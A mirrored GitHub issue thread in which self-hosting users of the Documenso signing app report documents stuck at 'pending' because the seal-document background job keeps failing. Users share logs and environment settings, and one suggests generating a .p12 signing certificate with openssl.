[GH-ISSUE #1399] Document still pending but waiting for 0 recipient #395

Closed
opened 2026-02-26 18:46:50 +03:00 by kerem · 28 comments
Owner

Originally created by @tmlmt on GitHub (Oct 13, 2024).
Original GitHub issue: https://github.com/documenso/documenso/issues/1399

Issue Description

My first test document ended up in a buggy situation: the two signees have signed but the signing process is stuck at pending and doesn't complete.

New instance, self-hosted with the production docker compose

Steps to Reproduce

Here's what I did

  1. Uploaded a 1 page PDF
  2. Added two signees, and enable signing order
  3. For signee 1, create 1 drop down field and 1 signature field and placed them on the pdf
  4. For signee 2 (myself), created a signature field and placed it on the PDF

Expected Behavior

I expect the signature process to complete automatically after signee #2 (myself)

Current Behavior

After signee 2 signs, they see a "Waiting for others to sign" (although there's no one to wait for) and the doc is stuck at pending and doesn't complete.

Screenshots (optional)

image

Operating System [e.g., Windows 10]

Ubuntu

Browser [e.g., Chrome, Firefox]

Chrome

Version [e.g., 2.0.1]

1.7.1

Please check the boxes that apply to this issue report.

  • I have searched the existing issues to make sure this is not a duplicate.
  • I have provided steps to reproduce the issue.
  • I have included relevant environment information.
  • I have included any relevant screenshots.
  • I understand that this is a voluntary contribution and that there is no guarantee of resolution.
  • I want to work on creating a PR for this issue if approved
Originally created by @tmlmt on GitHub (Oct 13, 2024). Original GitHub issue: https://github.com/documenso/documenso/issues/1399 ### Issue Description My first test document ended up in a buggy situation: the two signees have signed but the signing process is stuck at pending and doesn't complete. New instance, self-hosted with the production docker compose ### Steps to Reproduce Here's what I did 1. Uploaded a 1 page PDF 2. Added two signees, and enable signing order 3. For signee 1, create 1 drop down field and 1 signature field and placed them on the pdf 4. For signee 2 (myself), created a signature field and placed it on the PDF ### Expected Behavior I expect the signature process to complete automatically after signee #2 (myself) ### Current Behavior After signee 2 signs, they see a "Waiting for others to sign" (although there's no one to wait for) and the doc is stuck at pending and doesn't complete. ### Screenshots (optional) ![image](https://github.com/user-attachments/assets/1eb4bba8-90d1-409d-9452-37a2f4c1a175) ### Operating System [e.g., Windows 10] Ubuntu ### Browser [e.g., Chrome, Firefox] Chrome ### Version [e.g., 2.0.1] 1.7.1 ### Please check the boxes that apply to this issue report. - [X] I have searched the existing issues to make sure this is not a duplicate. - [X] I have provided steps to reproduce the issue. - [X] I have included relevant environment information. - [X] I have included any relevant screenshots. - [X] I understand that this is a voluntary contribution and that there is no guarantee of resolution. - [ ] I want to work on creating a PR for this issue if approved
kerem 2026-02-26 18:46:50 +03:00
Author
Owner

@github-actions[bot] commented on GitHub (Oct 13, 2024):

Thank you for opening your first issue and for being a part of the open signing revolution!

One of our team members will review it and get back to you as soon as it possible 💚

Meanwhile, please feel free to hop into our community in Discord

<!-- gh-comment-id:2409232755 --> @github-actions[bot] commented on GitHub (Oct 13, 2024): Thank you for opening your first issue and for being a part of the open signing revolution! <br /> One of our team members will review it and get back to you as soon as it possible 💚 <br /> Meanwhile, please feel free to hop into our community in [Discord](https://documen.so/discord)
Author
Owner

@falzfalzfalz commented on GitHub (Oct 14, 2024):

Same problem on my side, i'd like to add that I encounter this log:
image

<!-- gh-comment-id:2410387906 --> @falzfalzfalz commented on GitHub (Oct 14, 2024): Same problem on my side, i'd like to add that I encounter this log: <img width="1121" alt="image" src="https://github.com/user-attachments/assets/203b7662-368c-42c6-bcf6-0e99c911b869">
Author
Owner

@kbkozlev commented on GitHub (Oct 15, 2024):

I have the exact same issue, with the same logs.

<!-- gh-comment-id:2414105327 --> @kbkozlev commented on GitHub (Oct 15, 2024): I have the exact same issue, with the same logs.
Author
Owner

@ephraimduncan commented on GitHub (Oct 15, 2024):

Can you add this to your environmental variables and let me know if you still have the same issues?

NEXT_PRIVATE_JOBS_PROVIDER="local"

<!-- gh-comment-id:2414483891 --> @ephraimduncan commented on GitHub (Oct 15, 2024): Can you add this to your environmental variables and let me know if you still have the same issues? `NEXT_PRIVATE_JOBS_PROVIDER="local"`
Author
Owner

@kbkozlev commented on GitHub (Oct 15, 2024):

This unfortunately did not resolve the issue.
When I upload a document I get sent an e-mail to sign it, when I do so the status never changes from pending and no e-mail is sent. When I cancel a document, however, I receive another e-mail. It's a very strange issue.
I have uploaded my environment variables below.

image

<!-- gh-comment-id:2414575140 --> @kbkozlev commented on GitHub (Oct 15, 2024): This unfortunately did not resolve the issue. When I upload a document I get sent an e-mail to sign it, when I do so the status never changes from pending and no e-mail is sent. When I cancel a document, however, I receive another e-mail. It's a very strange issue. I have uploaded my environment variables below. ![image](https://github.com/user-attachments/assets/34dbc2f9-91f8-4ccd-be53-9fe3d4ea2608)
Author
Owner

@ephraimduncan commented on GitHub (Oct 15, 2024):

The process of sealing a document has been moved to a background job. You can find the implementation here packages/lib/jobs/definitions/internal/seal-document.ts.

The error you're encountering is likely due to the background job failing, which is unexpected.

From the env, you have set NEXT_PUBLIC_WEBAPP_URL, can you also set NEXT_PRIVATE_INTERNAL_WEBAPP_URL to the same url? And redeploy and see if the issue still persists.

<!-- gh-comment-id:2414862845 --> @ephraimduncan commented on GitHub (Oct 15, 2024): The process of sealing a document has been moved to a background job. You can find the implementation here `packages/lib/jobs/definitions/internal/seal-document.ts`. The error you're encountering is likely due to the background job failing, which is unexpected. From the env, you have set `NEXT_PUBLIC_WEBAPP_URL`, can you also set `NEXT_PRIVATE_INTERNAL_WEBAPP_URL` to the same url? And redeploy and see if the issue still persists.
Author
Owner

@tmlmt commented on GitHub (Oct 15, 2024):

My .env is as follows, so it already contains NEXT_PRIVATE_INTERNAL_WEBAPP_URL when the job fails.

PORT=3010
POSTGRES_USER=documenso
POSTGRES_PASSWORD=somepassword
POSTGRES_DB=documenso
NEXT_PRIVATE_DATABASE_URL='postgres://documenso:somepassword@database:5432/documenso'
NEXTAUTH_URL='https://documenso.mywebsite.com'
NEXTAUTH_SECRET='somesecret'
NEXT_PRIVATE_ENCRYPTION_KEY='someprimarykey'
NEXT_PRIVATE_ENCRYPTION_SECONDARY_KEY='somesecondarykey'
NEXT_PUBLIC_WEBAPP_URL='https://documenso.mydomain.com'
NEXT_PRIVATE_INTERNAL_WEBAPP_URL='https://documenso.mydomain.com'
NEXT_PRIVATE_SMTP_TRANSPORT='smtp-auth'
NEXT_PRIVATE_SMTP_HOST='smtp.mydomain.com'
NEXT_PRIVATE_SMTP_PORT=587
NEXT_PRIVATE_SMTP_USERNAME='documenso@mydomain.com'
NEXT_PRIVATE_SMTP_PASSWORD='somepassword'
NEXT_PRIVATE_SMTP_FROM_NAME='Documenso (MyDomain)'
NEXT_PRIVATE_SMTP_FROM_ADDRESS='sign@mydomain.com'
NEXT_PUBLIC_DISABLE_SIGNUP="true"

Without more explicit error messages, it's hard to debug as a user of the docker container.

Here are the docker logs:

documenso-1  | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q
documenso-1  | [JOBS]: Triggering job internal.seal-document with payload {
documenso-1  |   documentId: 2,
documenso-1  |   requestMetadata: {
documenso-1  |     ipAddress: '127.0.0.1',
documenso-1  |     userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
documenso-1  |   }
documenso-1  | }
documenso-1  | [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed
documenso-1  |     at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386)
documenso-1  |     at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)
documenso-1  |     at async /app/apps/web/.next/server/chunks/9783.js:1:15444
documenso-1  |     at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)
documenso-1  |     at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)
documenso-1  |     at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)
documenso-1  |     at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)
documenso-1  |     at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)
documenso-1  |     at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)
documenso-1  |     at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
documenso-1  | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q
documenso-1  | [JOBS]: Triggering job internal.seal-document with payload {
documenso-1  |   documentId: 2,
documenso-1  |   requestMetadata: {
documenso-1  |     ipAddress: '127.0.0.1',
documenso-1  |     userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
documenso-1  |   }
documenso-1  | }
documenso-1  | [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed
documenso-1  |     at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386)
documenso-1  |     at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)
documenso-1  |     at async /app/apps/web/.next/server/chunks/9783.js:1:15444
documenso-1  |     at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)
documenso-1  |     at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)
documenso-1  |     at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)
documenso-1  |     at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)
documenso-1  |     at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)
documenso-1  |     at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)
documenso-1  |     at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
documenso-1  | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q
documenso-1  | [JOBS]: Triggering job internal.seal-document with payload {
documenso-1  |   documentId: 2,
documenso-1  |   requestMetadata: {
documenso-1  |     ipAddress: '127.0.0.1',
documenso-1  |     userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
documenso-1  |   }
documenso-1  | }
documenso-1  | [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed
documenso-1  |     at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386)
documenso-1  |     at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)
documenso-1  |     at async /app/apps/web/.next/server/chunks/9783.js:1:15444
documenso-1  |     at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)
documenso-1  |     at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)
documenso-1  |     at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)
documenso-1  |     at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)
documenso-1  |     at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)
documenso-1  |     at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)
documenso-1  |     at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
documenso-1  | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q
documenso-1  | [JOBS]: Triggering job internal.seal-document with payload {
documenso-1  |   documentId: 2,
documenso-1  |   requestMetadata: {
documenso-1  |     ipAddress: '127.0.0.1',
documenso-1  |     userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
documenso-1  |   }
documenso-1  | }
documenso-1  | [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries
documenso-1  |     at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)
documenso-1  |     at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)
documenso-1  |     at async /app/apps/web/.next/server/chunks/9783.js:1:15444
documenso-1  |     at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)
documenso-1  |     at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)
documenso-1  |     at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)
documenso-1  |     at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)
documenso-1  |     at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)
documenso-1  |     at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)
documenso-1  |     at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
<!-- gh-comment-id:2414967786 --> @tmlmt commented on GitHub (Oct 15, 2024): My `.env` is as follows, so it already contains `NEXT_PRIVATE_INTERNAL_WEBAPP_URL` when the job fails. ``` PORT=3010 POSTGRES_USER=documenso POSTGRES_PASSWORD=somepassword POSTGRES_DB=documenso NEXT_PRIVATE_DATABASE_URL='postgres://documenso:somepassword@database:5432/documenso' NEXTAUTH_URL='https://documenso.mywebsite.com' NEXTAUTH_SECRET='somesecret' NEXT_PRIVATE_ENCRYPTION_KEY='someprimarykey' NEXT_PRIVATE_ENCRYPTION_SECONDARY_KEY='somesecondarykey' NEXT_PUBLIC_WEBAPP_URL='https://documenso.mydomain.com' NEXT_PRIVATE_INTERNAL_WEBAPP_URL='https://documenso.mydomain.com' NEXT_PRIVATE_SMTP_TRANSPORT='smtp-auth' NEXT_PRIVATE_SMTP_HOST='smtp.mydomain.com' NEXT_PRIVATE_SMTP_PORT=587 NEXT_PRIVATE_SMTP_USERNAME='documenso@mydomain.com' NEXT_PRIVATE_SMTP_PASSWORD='somepassword' NEXT_PRIVATE_SMTP_FROM_NAME='Documenso (MyDomain)' NEXT_PRIVATE_SMTP_FROM_ADDRESS='sign@mydomain.com' NEXT_PUBLIC_DISABLE_SIGNUP="true" ``` Without more explicit error messages, it's hard to debug as a user of the docker container. Here are the docker logs: ``` documenso-1 | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q documenso-1 | [JOBS]: Triggering job internal.seal-document with payload { documenso-1 | documentId: 2, documenso-1 | requestMetadata: { documenso-1 | ipAddress: '127.0.0.1', documenso-1 | userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36' documenso-1 | } documenso-1 | } documenso-1 | [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed documenso-1 | at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386) documenso-1 | at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) documenso-1 | at async /app/apps/web/.next/server/chunks/9783.js:1:15444 documenso-1 | at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) documenso-1 | at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) documenso-1 | at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) documenso-1 | at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) documenso-1 | at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) documenso-1 | at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) documenso-1 | at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) documenso-1 | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q documenso-1 | [JOBS]: Triggering job internal.seal-document with payload { documenso-1 | documentId: 2, documenso-1 | requestMetadata: { documenso-1 | ipAddress: '127.0.0.1', documenso-1 | userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36' documenso-1 | } documenso-1 | } documenso-1 | [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed documenso-1 | at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386) documenso-1 | at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) documenso-1 | at async /app/apps/web/.next/server/chunks/9783.js:1:15444 documenso-1 | at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) documenso-1 | at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) documenso-1 | at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) documenso-1 | at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) documenso-1 | at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) documenso-1 | at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) documenso-1 | at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) documenso-1 | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q documenso-1 | [JOBS]: Triggering job internal.seal-document with payload { documenso-1 | documentId: 2, documenso-1 | requestMetadata: { documenso-1 | ipAddress: '127.0.0.1', documenso-1 | userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36' documenso-1 | } documenso-1 | } documenso-1 | [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed documenso-1 | at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386) documenso-1 | at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) documenso-1 | at async /app/apps/web/.next/server/chunks/9783.js:1:15444 documenso-1 | at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) documenso-1 | at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) documenso-1 | at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) documenso-1 | at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) documenso-1 | at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) documenso-1 | at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) documenso-1 | at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) documenso-1 | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q documenso-1 | [JOBS]: Triggering job internal.seal-document with payload { documenso-1 | documentId: 2, documenso-1 | requestMetadata: { documenso-1 | ipAddress: '127.0.0.1', documenso-1 | userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36' documenso-1 | } documenso-1 | } documenso-1 | [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries documenso-1 | at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) documenso-1 | at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) documenso-1 | at async /app/apps/web/.next/server/chunks/9783.js:1:15444 documenso-1 | at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) documenso-1 | at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) documenso-1 | at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) documenso-1 | at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) documenso-1 | at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) documenso-1 | at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) documenso-1 | at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) ```
Author
Owner

@sypion commented on GitHub (Oct 16, 2024):

I am also experiencing the same issue on my end with the same log output:

[JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries
    at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)
    at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)
    at async /app/apps/web/.next/server/chunks/9783.js:1:15444
    at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)
    at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)
    at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)
    at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)
    at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)
    at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)
    at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
<!-- gh-comment-id:2417688992 --> @sypion commented on GitHub (Oct 16, 2024): I am also experiencing the same issue on my end with the same log output: ``` [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) at async /app/apps/web/.next/server/chunks/9783.js:1:15444 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) ```
Author
Owner

@LckySndays commented on GitHub (Oct 17, 2024):

Same issue with same log output as well

[JOBS]: Triggering job internal.seal-document with payload {

  documentId: 8,

  requestMetadata: {

    ipAddress: '10.54.99.102',

    userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0'

  }

}

[JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed

    at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386)

    at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)

    at async /app/apps/web/.next/server/chunks/9783.js:1:15444

    at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)

    at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)

    at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)

    at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)

    at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)

    at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)

    at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)

Submitting job to endpoint: http://10.54.99.10:3124/api/jobs/internal.seal-document/cm2cws1u1001lo54gftur6j4n

[JOBS]: Triggering job internal.seal-document with payload {

  documentId: 8,

  requestMetadata: {

    ipAddress: '10.54.99.102',

    userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0'

  }

}

[JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries

    at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)

    at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)

    at async /app/apps/web/.next/server/chunks/9783.js:1:15444

    at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)

    at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)

    at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)

    at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)

    at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)

    at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)

    at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
<!-- gh-comment-id:2418632775 --> @LckySndays commented on GitHub (Oct 17, 2024): Same issue with same log output as well ``` [JOBS]: Triggering job internal.seal-document with payload { documentId: 8, requestMetadata: { ipAddress: '10.54.99.102', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0' } } [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386) at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) at async /app/apps/web/.next/server/chunks/9783.js:1:15444 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) Submitting job to endpoint: http://10.54.99.10:3124/api/jobs/internal.seal-document/cm2cws1u1001lo54gftur6j4n [JOBS]: Triggering job internal.seal-document with payload { documentId: 8, requestMetadata: { ipAddress: '10.54.99.102', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0' } } [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) at async /app/apps/web/.next/server/chunks/9783.js:1:15444 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) ```
Author
Owner

@wilb12 commented on GitHub (Oct 18, 2024):

Hello,
I applied NEXT_PRIVATE_JOBS_PROVIDER="local"
Same Issue, same log.
Regards,

<!-- gh-comment-id:2422021423 --> @wilb12 commented on GitHub (Oct 18, 2024): Hello, I applied NEXT_PRIVATE_JOBS_PROVIDER="local" Same Issue, same log. Regards,
Author
Owner

@gps949 commented on GitHub (Oct 22, 2024):

Most likely caused by the .p12 file issue. Who meet this problem can try below:

openssl genrsa -out private.key 2048
openssl req -new -x509 -key private.key -out certificate.crt -days 3650
openssl pkcs12 -export -out certificate.p12 -inkey private.key -in certificate.crt -legacy
chown 1001 certificate.p12

note: during there commands executing, set the private key passphrase and export passphrase to the same one, and remember it.

Set the env variable NEXT_PRIVATE_SIGNING_PASSPHRASE to the passphrase in previous step.
Bind p12 file with -v ./certificate.p12:/opt/documenso/cert.p12, and set the env variable NEXT_PRIVATE_SIGNING_LOCAL_FILE_PATH to /opt/documenso/cert.p12

<!-- gh-comment-id:2429221441 --> @gps949 commented on GitHub (Oct 22, 2024): Most likely caused by the .p12 file issue. Who meet this problem can try below: 1. ``` openssl genrsa -out private.key 2048 openssl req -new -x509 -key private.key -out certificate.crt -days 3650 openssl pkcs12 -export -out certificate.p12 -inkey private.key -in certificate.crt -legacy chown 1001 certificate.p12 ``` note: during there commands executing, set the private key passphrase and export passphrase to the same one, and remember it. 2. Set the env variable ```NEXT_PRIVATE_SIGNING_PASSPHRASE``` to the passphrase in previous step. Bind p12 file with ```-v ./certificate.p12:/opt/documenso/cert.p12```, and set the env variable ```NEXT_PRIVATE_SIGNING_LOCAL_FILE_PATH``` to ```/opt/documenso/cert.p12```
Author
Owner

@talhak55 commented on GitHub (Oct 22, 2024):

I'm still getting the same log, and when creating the private.key, it doesn't prompt for a passphrase. It only asks for a passphrase when exporting to PKCS12 format.

Submitting job to endpoint: https://documenso.domain.com/api/jobs/internal.seal-document/cm2kljswu0014mi27yj4wjeyr

[JOBS]: Triggering job internal.seal-document with payload {

  documentId: 4,

  requestMetadata: {

    userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'

  }

}

[JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries

    at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)

    at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)

    at async /app/apps/web/.next/server/chunks/9783.js:1:15444

